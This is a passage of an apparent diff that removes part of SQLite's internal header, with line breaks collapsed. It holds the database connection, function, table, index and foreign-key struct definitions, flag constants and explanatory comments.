DB_SchemaLoaded 0x0001 /* The schema has been loaded */ -#define DB_UnresetViews 0x0002 /* Some views have defined column names */ -#define DB_Empty 0x0004 /* The file is empty (length 0 bytes) */ - -/* -** The number of different kinds of things that can be limited -** using the sqlite3_limit() interface. -*/ -#define SQLITE_N_LIMIT (SQLITE_LIMIT_TRIGGER_DEPTH+1) - -/* -** Lookaside malloc is a set of fixed-size buffers that can be used -** to satisfy small transient memory allocation requests for objects -** associated with a particular database connection. The use of -** lookaside malloc provides a significant performance enhancement -** (approx 10%) by avoiding numerous malloc/free requests while parsing -** SQL statements. -** -** The Lookaside structure holds configuration information about the -** lookaside malloc subsystem. Each available memory allocation in -** the lookaside subsystem is stored on a linked list of LookasideSlot -** objects. -** -** Lookaside allocations are only allowed for objects that are associated -** with a particular database connection. Hence, schema information cannot -** be stored in lookaside because in shared cache mode the schema information -** is shared by multiple database connections. Therefore, while parsing -** schema information, the Lookaside.bEnabled flag is cleared so that -** lookaside allocations are not used to construct the schema objects. -*/ -struct Lookaside { - u16 sz; /* Size of each buffer in bytes */ - u8 bEnabled; /* False to disable new lookaside allocations */ - u8 bMalloced; /* True if pStart obtained from sqlite3_malloc() */ - int nOut; /* Number of buffers currently checked out */ - int mxOut; /* Highwater mark for nOut */ - int anStat[3]; /* 0: hits. 1: size misses. 2: full misses */ - LookasideSlot *pFree; /* List of available buffers */ - void *pStart; /* First byte of available memory space */ - void *pEnd; /* First byte past end of available space */ -}; -struct LookasideSlot { - LookasideSlot *pNext; /* Next buffer in the list of free buffers */ -}; - -/* -** A hash table for function definitions. -** -** Hash each FuncDef structure into one of the FuncDefHash.a[] slots. -** Collisions are on the FuncDef.pHash chain. -*/ -struct FuncDefHash { - FuncDef *a[23]; /* Hash table for functions */ -}; - -/* -** Each database connection is an instance of the following structure. -*/ -struct sqlite3 { - sqlite3_vfs *pVfs; /* OS Interface */ - struct Vdbe *pVdbe; /* List of active virtual machines */ - CollSeq *pDfltColl; /* The default collating sequence (BINARY) */ - sqlite3_mutex *mutex; /* Connection mutex */ - Db *aDb; /* All backends */ - int nDb; /* Number of backends currently in use */ - int flags; /* Miscellaneous flags. See below */ - i64 lastRowid; /* ROWID of most recent insert (see above) */ - i64 szMmap; /* Default mmap_size setting */ - unsigned int openFlags; /* Flags passed to sqlite3_vfs.xOpen() */ - int errCode; /* Most recent error code (SQLITE_*) */ - int errMask; /* & result codes with this before returning */ - u16 dbOptFlags; /* Flags to enable/disable optimizations */ - u8 autoCommit; /* The auto-commit flag. */ - u8 temp_store; /* 1: file 2: memory 0: default */ - u8 mallocFailed; /* True if we have seen a malloc failure */ - u8 dfltLockMode; /* Default locking-mode for attached dbs */ - signed char nextAutovac; /* Autovac setting after VACUUM if >=0 */ - u8 suppressErr; /* Do not issue error messages if true */ - u8 vtabOnConflict; /* Value to return for s3_vtab_on_conflict() */ - u8 isTransactionSavepoint; /* True if the outermost savepoint is a TS */ - int nextPagesize; /* Pagesize after VACUUM if >0 */ - u32 magic; /* Magic number for detect library misuse */ - int nChange; /* Value returned by sqlite3_changes() */ - int nTotalChange; /* Value returned by sqlite3_total_changes() */ - int aLimit[SQLITE_N_LIMIT]; /* Limits */ - struct sqlite3InitInfo { /* Information used during initialization */ - int newTnum; /* Rootpage of table being initialized */ - u8 iDb; /* Which db file is being initialized */ - u8 busy; /* TRUE if currently initializing */ - u8 orphanTrigger; /* Last statement is orphaned TEMP trigger */ - } init; - int activeVdbeCnt; /* Number of VDBEs currently executing */ - int writeVdbeCnt; /* Number of active VDBEs that are writing */ - int vdbeExecCnt; /* Number of nested calls to VdbeExec() */ - int nExtension; /* Number of loaded extensions */ - void **aExtension; /* Array of shared library handles */ - void (*xTrace)(void*,const char*); /* Trace function */ - void *pTraceArg; /* Argument to the trace function */ - void (*xProfile)(void*,const char*,u64); /* Profiling function */ - void *pProfileArg; /* Argument to profile function */ - void *pCommitArg; /* Argument to xCommitCallback() */ - int (*xCommitCallback)(void*); /* Invoked at every commit. */ - void *pRollbackArg; /* Argument to xRollbackCallback() */ - void (*xRollbackCallback)(void*); /* Invoked at every commit. */ - void *pUpdateArg; - void (*xUpdateCallback)(void*,int, const char*,const char*,sqlite_int64); -#ifndef SQLITE_OMIT_WAL - int (*xWalCallback)(void *, sqlite3 *, const char *, int); - void *pWalArg; -#endif - void(*xCollNeeded)(void*,sqlite3*,int eTextRep,const char*); - void(*xCollNeeded16)(void*,sqlite3*,int eTextRep,const void*); - void *pCollNeededArg; - sqlite3_value *pErr; /* Most recent error message */ - char *zErrMsg; /* Most recent error message (UTF-8 encoded) */ - char *zErrMsg16; /* Most recent error message (UTF-16 encoded) */ - union { - volatile int isInterrupted; /* True if sqlite3_interrupt has been called */ - double notUsed1; /* Spacer */ - } u1; - Lookaside lookaside; /* Lookaside malloc configuration */ -#ifndef SQLITE_OMIT_AUTHORIZATION - int (*xAuth)(void*,int,const char*,const char*,const char*,const char*); - /* Access authorization function */ - void *pAuthArg; /* 1st argument to the access auth function */ -#endif -#ifndef SQLITE_OMIT_PROGRESS_CALLBACK - int (*xProgress)(void *); /* The progress callback */ - void *pProgressArg; /* Argument to the progress callback */ - int nProgressOps; /* Number of opcodes for progress callback */ -#endif -#ifndef SQLITE_OMIT_VIRTUALTABLE - int nVTrans; /* Allocated size of aVTrans */ - Hash aModule; /* populated by sqlite3_create_module() */ - VtabCtx *pVtabCtx; /* Context for active vtab connect/create */ - VTable **aVTrans; /* Virtual tables with open transactions */ - VTable *pDisconnect; /* Disconnect these in next sqlite3_prepare() */ -#endif - FuncDefHash aFunc; /* Hash table of connection functions */ - Hash aCollSeq; /* All collating sequences */ - BusyHandler busyHandler; /* Busy callback */ - Db aDbStatic[2]; /* Static space for the 2 default backends */ - Savepoint *pSavepoint; /* List of active savepoints */ - int busyTimeout; /* Busy handler timeout, in msec */ - int nSavepoint; /* Number of non-transaction savepoints */ - int nStatement; /* Number of nested statement-transactions */ - i64 nDeferredCons; /* Net deferred constraints this transaction. */ - int *pnBytesFreed; /* If not NULL, increment this in DbFree() */ - -#ifdef SQLITE_ENABLE_UNLOCK_NOTIFY - /* The following variables are all protected by the STATIC_MASTER - ** mutex, not by sqlite3.mutex. They are used by code in notify.c. - ** - ** When X.pUnlockConnection==Y, that means that X is waiting for Y to - ** unlock so that it can proceed. - ** - ** When X.pBlockingConnection==Y, that means that something that X tried - ** tried to do recently failed with an SQLITE_LOCKED error due to locks - ** held by Y. - */ - sqlite3 *pBlockingConnection; /* Connection that caused SQLITE_LOCKED */ - sqlite3 *pUnlockConnection; /* Connection to watch for unlock */ - void *pUnlockArg; /* Argument to xUnlockNotify */ - void (*xUnlockNotify)(void **, int); /* Unlock notify callback */ - sqlite3 *pNextBlocked; /* Next in list of all blocked connections */ -#endif -}; - -/* -** A macro to discover the encoding of a database. -*/ -#define ENC(db) ((db)->aDb[0].pSchema->enc) - -/* -** Possible values for the sqlite3.flags. -*/ -#define SQLITE_VdbeTrace 0x00000001 /* True to trace VDBE execution */ -#define SQLITE_InternChanges 0x00000002 /* Uncommitted Hash table changes */ -#define SQLITE_FullColNames 0x00000004 /* Show full column names on SELECT */ -#define SQLITE_ShortColNames 0x00000008 /* Show short columns names */ -#define SQLITE_CountRows 0x00000010 /* Count rows changed by INSERT, */ - /* DELETE, or UPDATE and return */ - /* the count using a callback. */ -#define SQLITE_NullCallback 0x00000020 /* Invoke the callback once if the */ - /* result set is empty */ -#define SQLITE_SqlTrace 0x00000040 /* Debug print SQL as it executes */ -#define SQLITE_VdbeListing 0x00000080 /* Debug listings of VDBE programs */ -#define SQLITE_WriteSchema 0x00000100 /* OK to update SQLITE_MASTER */ -#define SQLITE_VdbeAddopTrace 0x00000200 /* Trace sqlite3VdbeAddOp() calls */ -#define SQLITE_IgnoreChecks 0x00000400 /* Do not enforce check constraints */ -#define SQLITE_ReadUncommitted 0x0000800 /* For shared-cache mode */ -#define SQLITE_LegacyFileFmt 0x00001000 /* Create new databases in format 1 */ -#define SQLITE_FullFSync 0x00002000 /* Use full fsync on the backend */ -#define SQLITE_CkptFullFSync 0x00004000 /* Use full fsync for checkpoint */ -#define SQLITE_RecoveryMode 0x00008000 /* Ignore schema errors */ -#define SQLITE_ReverseOrder 0x00010000 /* Reverse unordered SELECTs */ -#define SQLITE_RecTriggers 0x00020000 /* Enable recursive triggers */ -#define SQLITE_ForeignKeys 0x00040000 /* Enforce foreign key constraints */ -#define SQLITE_AutoIndex 0x00080000 /* Enable automatic indexes */ -#define SQLITE_PreferBuiltin 0x00100000 /* Preference to built-in funcs */ -#define SQLITE_LoadExtension 0x00200000 /* Enable load_extension */ -#define SQLITE_EnableTrigger 0x00400000 /* True to enable triggers */ - -/* -** Bits of the sqlite3.dbOptFlags field that are used by the -** sqlite3_test_control(SQLITE_TESTCTRL_OPTIMIZATIONS,...) interface to -** selectively disable various optimizations. -*/ -#define SQLITE_QueryFlattener 0x0001 /* Query flattening */ -#define SQLITE_ColumnCache 0x0002 /* Column cache */ -#define SQLITE_GroupByOrder 0x0004 /* GROUPBY cover of ORDERBY */ -#define SQLITE_FactorOutConst 0x0008 /* Constant factoring */ -#define SQLITE_IdxRealAsInt 0x0010 /* Store REAL as INT in indices */ -#define SQLITE_DistinctOpt 0x0020 /* DISTINCT using indexes */ -#define SQLITE_CoverIdxScan 0x0040 /* Covering index scans */ -#define SQLITE_OrderByIdxJoin 0x0080 /* ORDER BY of joins via index */ -#define SQLITE_SubqCoroutine 0x0100 /* Evaluate subqueries as coroutines */ -#define SQLITE_Transitive 0x0200 /* Transitive constraints */ -#define SQLITE_AllOpts 0xffff /* All optimizations */ - -/* -** Macros for testing whether or not optimizations are enabled or disabled. -*/ -#ifndef SQLITE_OMIT_BUILTIN_TEST -#define OptimizationDisabled(db, mask) (((db)->dbOptFlags&(mask))!=0) -#define OptimizationEnabled(db, mask) (((db)->dbOptFlags&(mask))==0) -#else -#define OptimizationDisabled(db, mask) 0 -#define OptimizationEnabled(db, mask) 1 -#endif - -/* -** Possible values for the sqlite.magic field. -** The numbers are obtained at random and have no special meaning, other -** than being distinct from one another. -*/ -#define SQLITE_MAGIC_OPEN 0xa029a697 /* Database is open */ -#define SQLITE_MAGIC_CLOSED 0x9f3c2d33 /* Database is closed */ -#define SQLITE_MAGIC_SICK 0x4b771290 /* Error and awaiting close */ -#define SQLITE_MAGIC_BUSY 0xf03b7906 /* Database currently in use */ -#define SQLITE_MAGIC_ERROR 0xb5357930 /* An SQLITE_MISUSE error occurred */ -#define SQLITE_MAGIC_ZOMBIE 0x64cffc7f /* Close with last statement close */ - -/* -** Each SQL function is defined by an instance of the following -** structure. A pointer to this structure is stored in the sqlite.aFunc -** hash table. When multiple functions have the same name, the hash table -** points to a linked list of these structures. -*/ -struct FuncDef { - i16 nArg; /* Number of arguments. -1 means unlimited */ - u8 iPrefEnc; /* Preferred text encoding (SQLITE_UTF8, 16LE, 16BE) */ - u8 flags; /* Some combination of SQLITE_FUNC_* */ - void *pUserData; /* User data parameter */ - FuncDef *pNext; /* Next function with same name */ - void (*xFunc)(sqlite3_context*,int,sqlite3_value**); /* Regular function */ - void (*xStep)(sqlite3_context*,int,sqlite3_value**); /* Aggregate step */ - void (*xFinalize)(sqlite3_context*); /* Aggregate finalizer */ - char *zName; /* SQL name of the function. */ - FuncDef *pHash; /* Next with a different name but the same hash */ - FuncDestructor *pDestructor; /* Reference counted destructor function */ -}; - -/* -** This structure encapsulates a user-function destructor callback (as -** configured using create_function_v2()) and a reference counter. When -** create_function_v2() is called to create a function with a destructor, -** a single object of this type is allocated. FuncDestructor.nRef is set to -** the number of FuncDef objects created (either 1 or 3, depending on whether -** or not the specified encoding is SQLITE_ANY). The FuncDef.pDestructor -** member of each of the new FuncDef objects is set to point to the allocated -** FuncDestructor. -** -** Thereafter, when one of the FuncDef objects is deleted, the reference -** count on this object is decremented. When it reaches 0, the destructor -** is invoked and the FuncDestructor structure freed. -*/ -struct FuncDestructor { - int nRef; - void (*xDestroy)(void *); - void *pUserData; -}; - -/* -** Possible values for FuncDef.flags. Note that the _LENGTH and _TYPEOF -** values must correspond to OPFLAG_LENGTHARG and OPFLAG_TYPEOFARG. There -** are assert() statements in the code to verify this. -*/ -#define SQLITE_FUNC_LIKE 0x01 /* Candidate for the LIKE optimization */ -#define SQLITE_FUNC_CASE 0x02 /* Case-sensitive LIKE-type function */ -#define SQLITE_FUNC_EPHEM 0x04 /* Ephemeral. Delete with VDBE */ -#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */ -#define SQLITE_FUNC_COUNT 0x10 /* Built-in count(*) aggregate */ -#define SQLITE_FUNC_COALESCE 0x20 /* Built-in coalesce() or ifnull() function */ -#define SQLITE_FUNC_LENGTH 0x40 /* Built-in length() function */ -#define SQLITE_FUNC_TYPEOF 0x80 /* Built-in typeof() function */ - -/* -** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are -** used to create the initializers for the FuncDef structures. -** -** FUNCTION(zName, nArg, iArg, bNC, xFunc) -** Used to create a scalar function definition of a function zName -** implemented by C function xFunc that accepts nArg arguments. The -** value passed as iArg is cast to a (void*) and made available -** as the user-data (sqlite3_user_data()) for the function. If -** argument bNC is true, then the SQLITE_FUNC_NEEDCOLL flag is set. -** -** AGGREGATE(zName, nArg, iArg, bNC, xStep, xFinal) -** Used to create an aggregate function definition implemented by -** the C functions xStep and xFinal. The first four parameters -** are interpreted in the same way as the first 4 parameters to -** FUNCTION(). -** -** LIKEFUNC(zName, nArg, pArg, flags) -** Used to create a scalar function definition of a function zName -** that accepts nArg arguments and is implemented by a call to C -** function likeFunc. Argument pArg is cast to a (void *) and made -** available as the function user-data (sqlite3_user_data()). The -** FuncDef.flags variable is set to the value passed as the flags -** parameter. -*/ -#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \ - {nArg, SQLITE_UTF8, (bNC*SQLITE_FUNC_NEEDCOLL), \ - SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0, 0} -#define FUNCTION2(zName, nArg, iArg, bNC, xFunc, extraFlags) \ - {nArg, SQLITE_UTF8, (bNC*SQLITE_FUNC_NEEDCOLL)|extraFlags, \ - SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0, 0} -#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \ - {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ - pArg, 0, xFunc, 0, 0, #zName, 0, 0} -#define LIKEFUNC(zName, nArg, arg, flags) \ - {nArg, SQLITE_UTF8, flags, (void *)arg, 0, likeFunc, 0, 0, #zName, 0, 0} -#define AGGREGATE(zName, nArg, arg, nc, xStep, xFinal) \ - {nArg, SQLITE_UTF8, nc*SQLITE_FUNC_NEEDCOLL, \ - SQLITE_INT_TO_PTR(arg), 0, 0, xStep,xFinal,#zName,0,0} - -/* -** All current savepoints are stored in a linked list starting at -** sqlite3.pSavepoint. The first element in the list is the most recently -** opened savepoint. Savepoints are added to the list by the vdbe -** OP_Savepoint instruction. -*/ -struct Savepoint { - char *zName; /* Savepoint name (nul-terminated) */ - i64 nDeferredCons; /* Number of deferred fk violations */ - Savepoint *pNext; /* Parent savepoint (if any) */ -}; - -/* -** The following are used as the second parameter to sqlite3Savepoint(), -** and as the P1 argument to the OP_Savepoint instruction. -*/ -#define SAVEPOINT_BEGIN 0 -#define SAVEPOINT_RELEASE 1 -#define SAVEPOINT_ROLLBACK 2 - - -/* -** Each SQLite module (virtual table definition) is defined by an -** instance of the following structure, stored in the sqlite3.aModule -** hash table. -*/ -struct Module { - const sqlite3_module *pModule; /* Callback pointers */ - const char *zName; /* Name passed to create_module() */ - void *pAux; /* pAux passed to create_module() */ - void (*xDestroy)(void *); /* Module destructor function */ -}; - -/* -** information about each column of an SQL table is held in an instance -** of this structure. -*/ -struct Column { - char *zName; /* Name of this column */ - Expr *pDflt; /* Default value of this column */ - char *zDflt; /* Original text of the default value */ - char *zType; /* Data type for this column */ - char *zColl; /* Collating sequence. If NULL, use the default */ - u8 notNull; /* An OE_ code for handling a NOT NULL constraint */ - char affinity; /* One of the SQLITE_AFF_... values */ - u16 colFlags; /* Boolean properties. See COLFLAG_ defines below */ -}; - -/* Allowed values for Column.colFlags: -*/ -#define COLFLAG_PRIMKEY 0x0001 /* Column is part of the primary key */ -#define COLFLAG_HIDDEN 0x0002 /* A hidden column in a virtual table */ - -/* -** A "Collating Sequence" is defined by an instance of the following -** structure. Conceptually, a collating sequence consists of a name and -** a comparison routine that defines the order of that sequence. -** -** If CollSeq.xCmp is NULL, it means that the -** collating sequence is undefined. Indices built on an undefined -** collating sequence may not be read or written. -*/ -struct CollSeq { - char *zName; /* Name of the collating sequence, UTF-8 encoded */ - u8 enc; /* Text encoding handled by xCmp() */ - void *pUser; /* First argument to xCmp() */ - int (*xCmp)(void*,int, const void*, int, const void*); - void (*xDel)(void*); /* Destructor for pUser */ -}; - -/* -** A sort order can be either ASC or DESC. -*/ -#define SQLITE_SO_ASC 0 /* Sort in ascending order */ -#define SQLITE_SO_DESC 1 /* Sort in ascending order */ - -/* -** Column affinity types. -** -** These used to have mnemonic name like 'i' for SQLITE_AFF_INTEGER and -** 't' for SQLITE_AFF_TEXT. But we can save a little space and improve -** the speed a little by numbering the values consecutively. -** -** But rather than start with 0 or 1, we begin with 'a'. That way, -** when multiple affinity types are concatenated into a string and -** used as the P4 operand, they will be more readable. -** -** Note also that the numeric types are grouped together so that testing -** for a numeric type is a single comparison. -*/ -#define SQLITE_AFF_TEXT 'a' -#define SQLITE_AFF_NONE 'b' -#define SQLITE_AFF_NUMERIC 'c' -#define SQLITE_AFF_INTEGER 'd' -#define SQLITE_AFF_REAL 'e' - -#define sqlite3IsNumericAffinity(X) ((X)>=SQLITE_AFF_NUMERIC) - -/* -** The SQLITE_AFF_MASK values masks off the significant bits of an -** affinity value. -*/ -#define SQLITE_AFF_MASK 0x67 - -/* -** Additional bit values that can be ORed with an affinity without -** changing the affinity. -*/ -#define SQLITE_JUMPIFNULL 0x08 /* jumps if either operand is NULL */ -#define SQLITE_STOREP2 0x10 /* Store result in reg[P2] rather than jump */ -#define SQLITE_NULLEQ 0x80 /* NULL=NULL */ - -/* -** An object of this type is created for each virtual table present in -** the database schema. -** -** If the database schema is shared, then there is one instance of this -** structure for each database connection (sqlite3*) that uses the shared -** schema. This is because each database connection requires its own unique -** instance of the sqlite3_vtab* handle used to access the virtual table -** implementation. sqlite3_vtab* handles can not be shared between -** database connections, even when the rest of the in-memory database -** schema is shared, as the implementation often stores the database -** connection handle passed to it via the xConnect() or xCreate() method -** during initialization internally. This database connection handle may -** then be used by the virtual table implementation to access real tables -** within the database. So that they appear as part of the callers -** transaction, these accesses need to be made via the same database -** connection as that used to execute SQL operations on the virtual table. -** -** All VTable objects that correspond to a single table in a shared -** database schema are initially stored in a linked-list pointed to by -** the Table.pVTable member variable of the corresponding Table object. -** When an sqlite3_prepare() operation is required to access the virtual -** table, it searches the list for the VTable that corresponds to the -** database connection doing the preparing so as to use the correct -** sqlite3_vtab* handle in the compiled query. -** -** When an in-memory Table object is deleted (for example when the -** schema is being reloaded for some reason), the VTable objects are not -** deleted and the sqlite3_vtab* handles are not xDisconnect()ed -** immediately. Instead, they are moved from the Table.pVTable list to -** another linked list headed by the sqlite3.pDisconnect member of the -** corresponding sqlite3 structure. They are then deleted/xDisconnected -** next time a statement is prepared using said sqlite3*. This is done -** to avoid deadlock issues involving multiple sqlite3.mutex mutexes. -** Refer to comments above function sqlite3VtabUnlockList() for an -** explanation as to why it is safe to add an entry to an sqlite3.pDisconnect -** list without holding the corresponding sqlite3.mutex mutex. -** -** The memory for objects of this type is always allocated by -** sqlite3DbMalloc(), using the connection handle stored in VTable.db as -** the first argument. -*/ -struct VTable { - sqlite3 *db; /* Database connection associated with this table */ - Module *pMod; /* Pointer to module implementation */ - sqlite3_vtab *pVtab; /* Pointer to vtab instance */ - int nRef; /* Number of pointers to this structure */ - u8 bConstraint; /* True if constraints are supported */ - int iSavepoint; /* Depth of the SAVEPOINT stack */ - VTable *pNext; /* Next in linked list (see above) */ -}; - -/* -** Each SQL table is represented in memory by an instance of the -** following structure. -** -** Table.zName is the name of the table. The case of the original -** CREATE TABLE statement is stored, but case is not significant for -** comparisons. -** -** Table.nCol is the number of columns in this table. Table.aCol is a -** pointer to an array of Column structures, one for each column. -** -** If the table has an INTEGER PRIMARY KEY, then Table.iPKey is the index of -** the column that is that key. Otherwise Table.iPKey is negative. Note -** that the datatype of the PRIMARY KEY must be INTEGER for this field to -** be set. An INTEGER PRIMARY KEY is used as the rowid for each row of -** the table. If a table has no INTEGER PRIMARY KEY, then a random rowid -** is generated for each row of the table. TF_HasPrimaryKey is set if -** the table has any PRIMARY KEY, INTEGER or otherwise. -** -** Table.tnum is the page number for the root BTree page of the table in the -** database file. If Table.iDb is the index of the database table backend -** in sqlite.aDb[]. 0 is for the main database and 1 is for the file that -** holds temporary tables and indices. If TF_Ephemeral is set -** then the table is stored in a file that is automatically deleted -** when the VDBE cursor to the table is closed. In this case Table.tnum -** refers VDBE cursor number that holds the table open, not to the root -** page number. Transient tables are used to hold the results of a -** sub-query that appears instead of a real table name in the FROM clause -** of a SELECT statement. -*/ -struct Table { - char *zName; /* Name of the table or view */ - Column *aCol; /* Information about each column */ - Index *pIndex; /* List of SQL indexes on this table. */ - Select *pSelect; /* NULL for tables. Points to definition if a view. */ - FKey *pFKey; /* Linked list of all foreign keys in this table */ - char *zColAff; /* String defining the affinity of each column */ -#ifndef SQLITE_OMIT_CHECK - ExprList *pCheck; /* All CHECK constraints */ -#endif - tRowcnt nRowEst; /* Estimated rows in table - from sqlite_stat1 table */ - int tnum; /* Root BTree node for this table (see note above) */ - i16 iPKey; /* If not negative, use aCol[iPKey] as the primary key */ - i16 nCol; /* Number of columns in this table */ - u16 nRef; /* Number of pointers to this Table */ - u8 tabFlags; /* Mask of TF_* values */ - u8 keyConf; /* What to do in case of uniqueness conflict on iPKey */ -#ifndef SQLITE_OMIT_ALTERTABLE - int addColOffset; /* Offset in CREATE TABLE stmt to add a new column */ -#endif -#ifndef SQLITE_OMIT_VIRTUALTABLE - int nModuleArg; /* Number of arguments to the module */ - char **azModuleArg; /* Text of all module args. [0] is module name */ - VTable *pVTable; /* List of VTable objects. */ -#endif - Trigger *pTrigger; /* List of triggers stored in pSchema */ - Schema *pSchema; /* Schema that contains this table */ - Table *pNextZombie; /* Next on the Parse.pZombieTab list */ -}; - -/* -** Allowed values for Tabe.tabFlags. -*/ -#define TF_Readonly 0x01 /* Read-only system table */ -#define TF_Ephemeral 0x02 /* An ephemeral table */ -#define TF_HasPrimaryKey 0x04 /* Table has a primary key */ -#define TF_Autoincrement 0x08 /* Integer primary key is autoincrement */ -#define TF_Virtual 0x10 /* Is a virtual table */ - - -/* -** Test to see whether or not a table is a virtual table. This is -** done as a macro so that it will be optimized out when virtual -** table support is omitted from the build. -*/ -#ifndef SQLITE_OMIT_VIRTUALTABLE -# define IsVirtual(X) (((X)->tabFlags & TF_Virtual)!=0) -# define IsHiddenColumn(X) (((X)->colFlags & COLFLAG_HIDDEN)!=0) -#else -# define IsVirtual(X) 0 -# define IsHiddenColumn(X) 0 -#endif - -/* -** Each foreign key constraint is an instance of the following structure. -** -** A foreign key is associated with two tables. The "from" table is -** the table that contains the REFERENCES clause that creates the foreign -** key. The "to" table is the table that is named in the REFERENCES clause. -** Consider this example: -** -** CREATE TABLE ex1( -** a INTEGER PRIMARY KEY, -** b INTEGER CONSTRAINT fk1 REFERENCES ex2(x) -** ); -** -** For foreign key "fk1", the from-table is "ex1" and the to-table is "ex2". -** -** Each REFERENCES clause generates an instance of the following structure -** which is attached to the from-table. The to-table need not exist when -** the from-table is created. The existence of the to-table is not checked. -*/ -struct FKey { - Table *pFrom; /* Table containing the REFERENCES clause (aka: Child) */ - FKey *pNextFrom; /* Next foreign key in pFrom */ - char *zTo; /* Name of table that the key points to (aka: Parent) */ - FKey *pNextTo; /* Next foreign key on table named zTo */ - FKey *pPrevTo; /* Previous foreign key on table named zTo */ - int nCol; /* Number of columns in this key */ - /* EV: R-30323-21917 */ - u8 isDeferred; /* True if constraint checking is deferred till COMMIT */ - u8 aAction[2]; /* ON DELETE and ON UPDATE actions, respectively */ - Trigger *apTrigger[2]; /* Triggers for aAction[] actions */ - struct sColMap { /* Mapping of columns in pFrom to columns in zTo */ - int iFrom; /* Index of column in pFrom */ - char *zCol; /* Name of column in zTo. If 0 use PRIMARY KEY */ - } aCol[1]; /* One entry for each of nCol column s */ -}; - -/* -** SQLite supports many different ways to resolve a constraint -** error. ROLLBACK processing means that a constraint violation -** causes the operation in process to fail and for the current transaction -** to be rolled back. ABORT processing means the operation in process -** fails and any prior changes from that one operation are backed out, -** but the transaction is not rolled back. FAIL processing means that -** the operation in progress stops and returns an error code. But prior -** changes due to the same operation are not backed out and no rollback -** occurs. IGNORE means that the particular row that caused the constraint -** error is not inserted or updated. Processing continues and no error -** is returned. REPLACE means that preexisting database rows that caused -** a UNIQUE constraint violation are removed so that the new insert or -** update can proceed. Processing continues and no error is reported. -** -** RESTRICT, SETNULL, and CASCADE actions apply only to foreign keys. -** RESTRICT is the same as ABORT for IMMEDIATE foreign keys and the -** same as ROLLBACK for DEFERRED keys. SETNULL means that the foreign -** key is set to NULL. CASCADE means that a DELETE or UPDATE of the -** referenced table row is propagated into the row that holds the -** foreign key. -** -** The following symbolic values are used to record which type -** of action to take. -*/ -#define OE_None 0 /* There is no constraint to check */ -#define OE_Rollback 1 /* Fail the operation and rollback the transaction */ -#define OE_Abort 2 /* Back out changes but do no rollback transaction */ -#define OE_Fail 3 /* Stop the operation but leave all prior changes */ -#define OE_Ignore 4 /* Ignore the error. Do not do the INSERT or UPDATE */ -#define OE_Replace 5 /* Delete existing record, then do INSERT or UPDATE */ - -#define OE_Restrict 6 /* OE_Abort for IMMEDIATE, OE_Rollback for DEFERRED */ -#define OE_SetNull 7 /* Set the foreign key value to NULL */ -#define OE_SetDflt 8 /* Set the foreign key value to its default */ -#define OE_Cascade 9 /* Cascade the changes */ - -#define OE_Default 99 /* Do whatever the default action is */ - - -/* -** An instance of the following structure is passed as the first -** argument to sqlite3VdbeKeyCompare and is used to control the -** comparison of the two index keys. -*/ -struct KeyInfo { - sqlite3 *db; /* The database connection */ - u8 enc; /* Text encoding - one of the SQLITE_UTF* values */ - u16 nField; /* Number of entries in aColl[] */ - u8 *aSortOrder; /* Sort order for each column. May be NULL */ - CollSeq *aColl[1]; /* Collating sequence for each term of the key */ -}; - -/* -** An instance of the following structure holds information about a -** single index record that has already been parsed out into individual -** values. -** -** A record is an object that contains one or more fields of data. -** Records are used to store the content of a table row and to store -** the key of an index. A blob encoding of a record is created by -** the OP_MakeRecord opcode of the VDBE and is disassembled by the -** OP_Column opcode. -** -** This structure holds a record that has already been disassembled -** into its constituent fields. -*/ -struct UnpackedRecord { - KeyInfo *pKeyInfo; /* Collation and sort-order information */ - u16 nField; /* Number of entries in apMem[] */ - u8 flags; /* Boolean settings. UNPACKED_... below */ - i64 rowid; /* Used by UNPACKED_PREFIX_SEARCH */ - Mem *aMem; /* Values */ -}; - -/* -** Allowed values of UnpackedRecord.flags -*/ -#define UNPACKED_INCRKEY 0x01 /* Make this key an epsilon larger */ -#define UNPACKED_PREFIX_MATCH 0x02 /* A prefix match is considered OK */ -#define UNPACKED_PREFIX_SEARCH 0x04 /* Ignore final (rowid) field */ - -/* -** Each SQL index is represented in memory by an -** instance of the following structure. -** -** The columns of the table that are to be indexed are described -** by the aiColumn[] field of this structure. For example, suppose -** we have the following table and index: -** -** CREATE TABLE Ex1(c1 int, c2 int, c3 text); -** CREATE INDEX Ex2 ON Ex1(c3,c1); -** -** In the Table structure describing Ex1, nCol==3 because there are -** three columns in the table. In the Index structure describing -** Ex2, nColumn==2 since 2 of the 3 columns of Ex1 are indexed. -** The value of aiColumn is {2, 0}. aiColumn[0]==2 because the -** first column to be indexed (c3) has an index of 2 in Ex1.aCol[]. -** The second column to be indexed (c1) has an index of 0 in -** Ex1.aCol[], hence Ex2.aiColumn[1]==0. -** -** The Index.onError field determines whether or not the indexed columns -** must be unique and what to do if they are not. When Index.onError=OE_None, -** it means this is not a unique index. Otherwise it is a unique index -** and the value of Index.onError indicate the which conflict resolution -** algorithm to employ whenever an attempt is made to insert a non-unique -** element. -*/ -struct Index { - char *zName; /* Name of this index */ - int *aiColumn; /* Which columns are used by this index. 1st is 0 */ - tRowcnt *aiRowEst; /* From ANALYZE: Est. rows selected by each column */ - Table *pTable; /* The SQL table being indexed */ - char *zColAff; /* String defining the affinity of each column */ - Index *pNext; /* The next index associated with the same table */ - Schema *pSchema; /* Schema containing this index */ - u8 *aSortOrder; /* for each column: True==DESC, False==ASC */ - char **azColl; /* Array of collation sequence names for index */ - int tnum; /* DB Page containing root of this index */ - u16 nColumn; /* Number of columns in table used by this index */ - u8 onError; /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ - unsigned autoIndex:2; /* 1==UNIQUE, 2==PRIMARY KEY, 0==CREATE INDEX */ - unsigned bUnordered:1; /* Use this index for == or IN queries only */ -#ifdef SQLITE_ENABLE_STAT3 - int nSample; /* Number of elements in aSample[] */ - tRowcnt avgEq; /* Average nEq value for key values not in aSample */ - IndexSample *aSample; /* Samples of the left-most key */ -#endif -}; - -/* -** Each sample stored in the sqlite_stat3 table is represented in memory -** using a structure of this type. See documentation at the top of the -** analyze.c source file for additional information. -*/ -struct IndexSample { - union { - char *z; /* Value if eType is SQLITE_TEXT or SQLITE_BLOB */ - double r; /* Value if eType is SQLITE_FLOAT */ - i64 i; /* Value if eType 